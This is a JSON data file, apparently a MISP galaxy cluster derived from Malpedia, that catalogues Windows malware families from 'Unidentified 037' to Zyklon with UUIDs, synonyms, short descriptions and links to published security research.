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      "description": "",
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      "value": "Unidentified 037"
    },
    {
      "description": "",
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      "value": "Unidentified 038"
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    {
      "description": "",
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        "synonyms": [],
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      "uuid": "97c1524a-c052-49d1-8770-14b513d8a830",
      "value": "Unidentified 039"
    },
    {
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      "value": "Unidentified 045"
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    {
      "description": "RAT written in Delphi used by Patchwork APT.",
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        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_047",
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    },
    {
      "description": "",
      "meta": {
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    {
      "description": "",
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    {
      "description": "",
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      "description": "",
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    {
      "description": "",
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      "description": "",
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    {
      "description": "",
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          "https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/",
          "http://blog.inquest.net/blog/2019/03/09/Analyzing-Sophisticated-PowerShell-Targeting-Japan/",
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      "value": "UrlZone"
    },
    {
      "description": "",
      "meta": {
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          "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/",
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    },
    {
      "description": "",
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          "http://thehackernews.com/2017/01/neverquest-fbi-hacker.html",
          "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/",
          "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/"
        ],
        "synonyms": [
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        "type": []
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      "uuid": "b662c253-5c87-4ae6-a30e-541db0845f67",
      "value": "Vawtrak"
    },
    {
      "description": "Delphi-based ransomware.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.vegalocker",
          "https://twitter.com/malwrhunterteam/status/1095024267459284992",
          "https://twitter.com/malwrhunterteam/status/1093136163836174339"
        ],
        "synonyms": [
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        ],
        "type": []
      },
      "uuid": "704bb00f-f558-4568-824c-847523700043",
      "value": "VegaLocker"
    },
    {
      "description": "Ransomware that appears to require manually installation (believed to be via RDP). Encrypts files with .velso extension. ",
      "meta": {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/win.velso",
          "https://www.bleepingcomputer.com/news/security/the-velso-ransomware-being-manually-installed-by-attackers/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5490d2c7-72db-42cf-a1a4-02be1b3ade5f",
      "value": "Velso Ransomware"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.venus_locker",
          "https://twitter.com/JaromirHorejsi/status/813690129088937984"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7a0137ad-df7a-4fae-8365-eb36cc7e60cd",
      "value": "Venus Locker"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.vermin",
          "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/",
          "https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/",
          "https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2d07a1bf-1d8d-4f1e-a02f-1a8ff5b76cd1",
      "value": "Vermin"
    },
    {
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      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder",
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        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "044849d3-d0de-4f78-b67d-bfbe8dd3a255",
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    {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar",
          "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/",
          "https://tccontre.blogspot.com/2019/03/infor-stealer-vidar-trojanspy-analysis.html",
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        "synonyms": [],
        "type": []
      },
      "uuid": "1f44c08a-b427-4496-9d6d-909b6bf34b9b",
      "value": "vidar"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.virdetdoor",
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        ],
        "synonyms": [],
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      },
      "uuid": "30161733-993f-4a1c-bcc5-7b4f1cd7d9e4",
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    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.virut",
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          "https://www.theregister.co.uk/2018/01/10/taiwanese_police_malware/",
          "https://www.spamhaus.org/news/article/690/cooperative-efforts-to-shut-down-virut-botnet",
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        "synonyms": [],
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      },
      "uuid": "2e99f27c-6791-4695-b88b-de4d4cbda8d6",
      "value": "Virut"
    },
    {
      "description": "",
      "meta": {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus",
          "https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/",
          "https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/",
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        ],
        "synonyms": [
          "VMzeus",
          "Zberp",
          "ZeusVM"
        ],
        "type": []
      },
      "uuid": "c32740a4-db2c-4d71-80bd-7377185f4a6f",
      "value": "VM Zeus"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus",
          "http://contagiodump.blogspot.com/2012/12/nov-2012-worm-vobfus-samples.html",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/whats-the-fuss-with-worm_vobfus/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "60f7b1b9-c283-4395-909f-7b8b1731e840",
      "value": "Vobfus"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer",
          "https://www.us-cert.gov/ncas/alerts/TA17-318B",
          "https://securelist.com/operation-applejeus/87553/"
        ],
        "synonyms": [
          "FALLCHILL",
          "Manuscrypt"
        ],
        "type": []
      },
      "uuid": "bbfd4fb4-3e5a-43bf-b4bb-eaf5ef4fb25f",
      "value": "Volgmer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.vreikstadi",
          "https://twitter.com/malware_traffic/status/821483557990318080"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ab2a63f1-1afd-44e7-9cf4-c775dbee78f4",
      "value": "Vreikstadi"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer",
          "http://www.xylibox.com/2013/01/vskimmer.html",
          "http://vkremez.weebly.com/cyber-security/-backdoor-win32hesetoxa-vskimmer-pos-malware-analysis",
          "https://securingtomorrow.mcafee.com/mcafee-labs/vskimmer-botnet-targets-credit-card-payment-terminals/"
        ],
        "synonyms": [],
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      },
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        ],
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          "https://malpedia.caad.fkie.fraunhofer.de/details/win.winpot",
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          "https://securelist.com/atm-robber-winpot/89611/"
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      },
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        ],
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    {
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        ],
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    {
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        ],
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    {
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          "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/",
          "https://www.thecssc.com/wp-content/uploads/2018/10/4OctoberIOC-APT28-malware-advisory.pdf",
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    {
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        ],
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      },
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    {
      "description": "",
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          "https://malpedia.caad.fkie.fraunhofer.de/details/win.xbtl"
        ],
        "synonyms": [],
        "type": []
      },
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      "value": "XBTL"
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    {
      "description": "",
      "meta": {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan",
          "https://securelist.com/blog/research/78110/xpan-i-am-your-father/",
          "https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/"
        ],
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      },
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    {
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        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpctra",
          "https://isc.sans.edu/forums/diary/XPCTRA+Malware+Steals+Banking+and+Digital+Wallet+Users+Credentials/22868/",
          "https://www.buguroo.com/en/blog/bank-malware-in-brazil-xpctra-rat-analysis"
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        "type": []
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      "value": "XPCTRA"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.xp_privesc",
          "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
        ],
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      },
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      "value": "XP PrivEsc (CVE-2014-4076)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus",
          "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf",
          "https://securelist.com/analysis/publications/69953/the-naikon-apt/",
          "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
        ],
        "synonyms": [
          "nokian"
        ],
        "type": []
      },
      "uuid": "b255fd2c-6ddb-452f-b660-c9f5d3a2ff63",
      "value": "xsPlus"
    },
    {
      "description": "X-Tunnel is a network proxy tool that implements a custom network protocol encapsulated in the TLS protocol.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel",
          "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/",
          "https://www.root9b.com/sites/default/files/whitepapers/root9b_follow_up_report_apt28.pdf",
          "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/",
          "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
          "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html",
          "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
          "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf",
          "https://www.root9b.com/sites/default/files/whitepapers/R9b_FSOFACY_0.pdf"
        ],
        "synonyms": [
          "xaps"
        ],
        "type": []
      },
      "uuid": "53089817-6d65-4802-a7d2-5ccc3d919b74",
      "value": "X-Tunnel"
    },
    {
      "description": "This is a rewrite of win.xtunnel using the .NET framework that surfaced late 2017.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel_net",
          "https://www.ncsc.gov.uk/alerts/indicators-compromise-malware-used-apt28"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "000e25a4-4623-4afc-883d-ecc15be8f9d0",
      "value": "X-Tunnel (.NET)"
    },
    {
      "description": "In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it “Xwo” - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.xwo",
          "https://www.alienvault.com/blogs/labs-research/xwo-a-python-based-bot-scanner"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8a57cd75-4572-47c2-b5ef-55df978258de",
      "value": "Xwo"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.xxmm",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/",
          "https://jsac.jpcert.or.jp/archive/2019/pdf/JSAC2019_8_nakatsuru_en.pdf",
          "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
        ],
        "synonyms": [
          "ShadowWalker"
        ],
        "type": []
      },
      "uuid": "1d451231-8b27-4250-b3db-55c5c8ea99cb",
      "value": "xxmm"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.yahoyah",
          "http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"
        ],
        "synonyms": [
          "KeyBoy"
        ],
        "type": []
      },
      "uuid": "a673b4fb-a864-4a5b-94ab-3fc4f5606cc8",
      "value": "Yahoyah"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.yayih",
          "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html"
        ],
        "synonyms": [
          "aumlib",
          "bbsinfo"
        ],
        "type": []
      },
      "uuid": "81157066-c2f6-4625-8070-c0a793d57e18",
      "value": "yayih"
    },
    {
      "description": "Simple malware with proxy/RDP and download capabilities. It often comes bundled with installers, in particular in the Chinese realm.\r\n\r\nPE timestamps suggest that it came into existence in the second half of 2014.\r\n\r\nSome versions perform checks of the status of the internet connection (InternetGetConnectedState: MODEM, LAN, PROXY), some versions perform simple AV process-checks (CreateToolhelp32Snapshot).\r\n",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.younglotus",
          "https://www.youtube.com/watch?v=AUGxYhE_CUY"
        ],
        "synonyms": [
          "DarkShare"
        ],
        "type": []
      },
      "uuid": "1cc9d450-88cd-435c-bb74-8410d2d22571",
      "value": "YoungLotus"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.yty",
          "https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/",
          "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c0e8b64c-bd2c-4a3e-addc-0ed6cc1ba200",
      "value": "yty"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy",
          "https://unit42.paloaltonetworks.com/sofacy-creates-new-go-variant-of-zebrocy-tool/",
          "https://www.accenture.com/us-en/blogs/blogs-snakemackerel-delivers-zekapab-malware",
          "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/",
          "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/",
          "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
          "https://securelist.com/greyenergys-overlap-with-zebrocy/89506/",
          "https://www.vkremez.com/2018/12/lets-learn-dissecting-apt28sofacy.html",
          "https://www.vkremez.com/2018/12/lets-learn-reviewing-sofacys-zebrocy-c.html",
          "https://securelist.com/a-zebrocy-go-downloader/89419/"
        ],
        "synonyms": [
          "Zekapab"
        ],
        "type": []
      },
      "uuid": "973124e2-0d84-4be5-9c8e-3ff16bb43b42",
      "value": "Zebrocy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy_au3",
          "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4a5f2088-18cb-426a-92e2-1eb752c294c0",
      "value": "Zebrocy (AutoIT)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zedhou"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2211eade-4980-4143-acd7-5ecda26d9dfa",
      "value": "Zedhou"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess",
          "http://contagiodump.blogspot.com/2010/11/zeroaccess-max-smiscer-crimeware.html",
          "http://resources.infosecinstitute.com/zeroaccess-malware-part-3-the-device-driver-process-injection-rootkit/",
          "http://resources.infosecinstitute.com/zeroaccess-malware-part-4-tracing-the-crimeware-origins-by-reversing-injected-code/",
          "https://blog.malwarebytes.com/threat-analysis/2013/08/sophos-discovers-zeroaccess-using-rlo/",
          "http://contagiodump.blogspot.com/2012/12/zeroaccess-sirefef-rootkit-5-fresh.html",
          "http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/",
          "http://resources.infosecinstitute.com/zeroaccess-malware-part-2-the-kernel-mode-device-driver-stealth-rootkit/",
          "https://blog.malwarebytes.com/threat-analysis/2013/07/zeroaccess-anti-debug-uses-debugger/"
        ],
        "synonyms": [
          "Max++",
          "Sirefef",
          "Smiscer"
        ],
        "type": []
      },
      "uuid": "c7ff274f-2acc-4ee2-b74d-f1def12918d7",
      "value": "ZeroAccess"
    },
    {
      "description": "ZeroEvil is a malware that seems to be distributed by an ARSguarded VBS loader.\r\n\r\nIt first connects to a gate.php (version=). Upon success, an embedded VBS gets started connecting to logs_gate.php (plugin=, report=).\r\nSo far, only one embedded VBS was observed: it creates and starts a PowerShell script to retrieve all password from the Windows.Security.Credentials.PasswordVault. Apart from that, a screenshot is taken and a list of running processes generated.\r\n\r\nThe ZeroEvil executable contains multiple DLLs, sqlite3.dll, ze_core.DLL (Mutex) and ze_autorun.DLL (Run-Key).\r\n",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroevil",
          "https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "585f9f75-1239-4561-8815-c5ae033053a1",
      "value": "ZeroEvil"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zerot",
          "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9b0aa458-dfa9-48af-87ea-c36d1501376c",
      "value": "ZeroT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus",
          "https://zeustracker.abuse.ch/monitor.php",
          "http://contagiodump.blogspot.com/2010/07/zeus-version-scheme-by-trojan-author.html",
          "http://malwareint.blogspot.com/2010/02/facebook-phishing-campaign-proposed-by.html",
          "http://malwareint.blogspot.com/2010/02/zeus-on-irs-scam-remains-actively.html",
          "http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html",
          "http://eternal-todo.com/blog/new-zeus-binary",
          "http://contagiodump.blogspot.com/2010/07/zeus-trojan-research-links.html",
          "https://www.symantec.com/connect/blogs/spyeye-s-kill-zeus-bark-worse-its-bite",
          "https://nakedsecurity.sophos.com/2010/07/24/sample-run/",
          "https://www.mnin.org/write/ZeusMalware.pdf",
          "https://www.symantec.com/connect/blogs/brief-look-zeuszbot-20",
          "http://malwareint.blogspot.com/2010/01/leveraging-zeus-to-send-spam-through.html",
          "http://eternal-todo.com/blog/zeus-spreading-facebook",
          "http://malwareint.blogspot.com/2010/03/new-phishing-campaign-against-facebook.html",
          "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/zeus_king_of_bots.pdf",
          "http://eternal-todo.com/blog/detecting-zeus",
          "https://www.secureworks.com/research/zeus?threat=zeus",
          "http://malwareint.blogspot.com/2009/07/special-zeus-botnet-for-dummies.html"
        ],
        "synonyms": [
          "Zbot"
        ],
        "type": []
      },
      "uuid": "4e8c1ab7-2841-4823-a5d1-39284fb0969a",
      "value": "Zeus"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_mailsniffer"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "768f1ae5-81a6-49f2-87c1-821c247b4bf3",
      "value": "Zeus MailSniffer"
    },
    {
      "description": "This family describes the Zeus-variant that includes a version of OpenSSL and usually is downloaded by Zloader.\r\n\r\nIn June 2016, the version 1.5.4.0 (PE timestamp: 2016.05.11) appeared, downloaded by Zloader (known as DEloader at that time). OpenSSL 1.0.1p is statically linked to it, thus its size is roughly 1.2 MB. In subsequent months, that size increased up to 1.6 MB.\r\nIn January 2017, with version 1.14.8.0, OpenSSL 1.0.2j was linked to it, increasing the size to 1.8 MB. Soon after also in January 2017, with version v1.15.0.0 the code was obfuscated, blowing up the size of the binary to 2.2 MB.\r\n\r\nPlease note that IBM X-Force decided to call win.zloader/win.zeus_openssl \"Zeus Sphinx\", after mentioning it as \"a new version of Zeus Sphinx\" in their initial post in August 2016. Malpedia thus lists the alias \"Zeus XSphinx\" for win.zeus_openssl - the X to refer to IBM X-Force.\r\n\r\nZeus Sphinx on the one hand has the following versioning (\"slow increase\")\r\n- 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB)\r\n- 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB)\r\n- 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)\r\n\r\nZeus OpenSSL on the other hand has the following versioning (\"fast increase\")\r\n- 2016/05 v1.5.4.0  (Zeus OpenSSL size: 1.2 MB)\r\n- 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB)\r\n- 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_openssl",
          "https://asert.arbornetworks.com/great-dga-sphinx/",
          "https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/",
          "https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/"
        ],
        "synonyms": [
          "XSphinx"
        ],
        "type": []
      },
      "uuid": "74fc6a3a-cc51-4065-bdd9-fcef18c988a0",
      "value": "Zeus OpenSSL"
    },
    {
      "description": "This family describes the vanilla Zeus-variant that includes TOR (and Polipo proxy). It has an almost 90% overlap with Zeus v2.0.8.9.\r\nPlease note that IBM X-Force decided to call win.zloader/win.zeus_openssl \"Zeus Sphinx\", after mentioning it as \"a new version of Zeus Sphinx\" in their initial post in August 2016. Malpedia thus lists the alias \"Zeus XSphinx\" for win.zeus_openssl - the X to refer to IBM X-Force.\r\n\r\nZeus Sphinx on the one hand has the following versioning (\"slow increase\")\r\n- 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB)\r\n- 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB)\r\n- 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)\r\n\r\nZeus OpenSSL on the other hand has the following versioning (\"fast increase\")\r\n- 2016/05 v1.5.4.0  (Zeus OpenSSL size: 1.2 MB)\r\n- 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB)\r\n- 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_sphinx",
          "https://securityaffairs.co/wordpress/39592/cyber-crime/sphinx-variant-zeus-trojan.html",
          "https://web.archive.org/web/20160130165709/http://darkmatters.norsecorp.com/2015/08/24/sphinx-new-zeus-variant-for-sale-on-the-black-market/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "997c20b0-0992-498a-b69d-fc16ab2fd4e4",
      "value": "Zeus Sphinx"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zezin",
          "https://twitter.com/siri_urz/status/923479126656323584",
          "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4877"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "38de079b-cc4c-47b0-b47f-ad4c013d8a1f",
      "value": "Zezin"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zhcat",
          "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3c74a04d-583e-40ec-b347-bdfeb534c614",
      "value": "ZhCat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zhmimikatz",
          "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "989330e9-52da-4489-888b-686429db3a45",
      "value": "ZhMimikatz"
    },
    {
      "description": "This family describes the (initially small) loader, which downloads Zeus OpenSSL.\r\n\r\nIn June 2016, a new loader was dubbed DEloader by Fortinet. It has some functions borrowed from Zeus 2.0.8.9 (e.g. the versioning, nrv2b, binstorage-labels), but more importantly, it downloaded a Zeus-like banking trojan (-> Zeus OpenSSL). Furthermore, the loader shared its versioning with the Zeus OpenSSL it downloaded.\r\nThe initial samples from May 2016 were small (17920 bytes). At some point, visualEncrypt/Decrypt was added, e.g. in v1.11.0.0 (September 2016) with size 27648 bytes. In January 2017 with v1.15.0.0, obfuscation was added, which blew the size up to roughly 80k, and the loader became known as Zloader aka Terdot. These changes may be related to the Moskalvzapoe Distribution Network, which started the distribution of it at the same time.\r\n\r\nPlease note that IBM X-Force decided to call win.zloader/win.zeus_openssl \"Zeus Sphinx\", after mentioning it as \"a new version of Zeus Sphinx\" in their initial post in August 2016. Malpedia thus lists the alias \"Zeus XSphinx\" for win.zeus_openssl - the X to refer to IBM X-Force.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader",
          "https://www.fortinet.com/blog/threat-research/the-curious-case-of-an-unknown-trojan-targeting-german-speaking-users.html",
          "https://securityintelligence.com/around-the-world-with-zeus-sphinx-from-canada-to-australia-and-back/",
          "https://www.forcepoint.com/blog/security-labs/zeus-delivered-deloader-defraud-customers-canadian-banks",
          "https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/",
          "https://int0xcc.svbtle.com/dissecting-obfuscated-deloader-malware",
          "https://securityintelligence.com/zeus-sphinx-pushes-empty-configuration-files-what-has-the-sphinx-got-cooking/"
        ],
        "synonyms": [
          "DELoader",
          "Terdot"
        ],
        "type": []
      },
      "uuid": "13236f94-802b-4abc-aaa9-cb80cf4df9ed",
      "value": "Zloader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zoxpng",
          "http://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf"
        ],
        "synonyms": [
          "gresim"
        ],
        "type": []
      },
      "uuid": "7078d273-8a2d-477a-b6d9-7313e22d9ad7",
      "value": "ZoxPNG"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zxshell",
          "https://github.com/smb01/zxshell",
          "https://blogs.cisco.com/security/talos/opening-zxshell",
          "https://blogs.rsa.com/cat-phishing/"
        ],
        "synonyms": [
          "Sensocode"
        ],
        "type": []
      },
      "uuid": "23920e3b-246a-4172-bf9b-5e9f90510a15",
      "value": "ZXShell"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.zyklon",
          "https://www.fireeye.com/blog/threat-research/2018/01/microsoft-office-vulnerabilities-used-to-distribute-zyklon-malware.html",
          "https://blog.talosintelligence.com/2017/05/modified-zyklon-and-plugins-from-india.html",
          "https://asert.arbornetworks.com/wp-content/uploads/2017/05/zyklon_season.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "721e9af0-8a60-4b9e-9137-c23e86d75722",
      "value": "Zyklon"
    }
  ],
  "version": 2560
}